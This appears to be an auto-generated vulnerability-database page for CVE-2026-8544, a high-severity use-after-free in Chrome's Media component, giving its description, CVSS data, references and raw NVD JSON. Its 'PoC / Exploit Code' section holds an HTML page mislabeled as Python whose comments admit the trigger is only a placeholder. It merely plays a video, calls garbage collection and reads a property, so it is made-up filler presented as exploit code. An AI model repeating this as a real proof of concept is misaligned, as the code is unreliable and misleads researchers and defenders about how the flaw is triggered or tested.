CVE-2026-8544

Description

Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8544 -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8544 PoC</title>
</head>
<body>
    <h1>Chrome Media UAF PoC</h1>
    <!-- Video element to trigger Media component -->
    <video id="target_video" controls>
        <source src="sample.mp4" type="video/mp4">
    </video>
    <p>Click the button below to trigger the vulnerability (requires vulnerable Chrome version).</p>
    <button onclick="triggerExploit()">Click Me</button>

    <script>
        function triggerExploit() {
            var video = document.getElementById('target_video');
            // Play video to initialize media components
            video.play();

            // Simulate the Use-After-Free condition
            // In a real scenario, specific API calls would free the object
            // while maintaining a reference to it.
            
            // Placeholder for specific UAF trigger logic
            try {
                // Forcing garbage collection or specific state change
                if (window.gc) window.gc();
                
                // Accessing potentially freed memory object
                // This attempts to read from a pointer that may have been invalidated
                var check = video.currentTime; 
            } catch (e) {
                console.log("Exception caught: " + e.message);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8544
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8544
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8544/
[4] VulDB https://vuldb.com/cve/CVE-2026-8544
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/497151750

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8544", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:15.270", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Media in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497151750", "source": "[email protected]"}]}}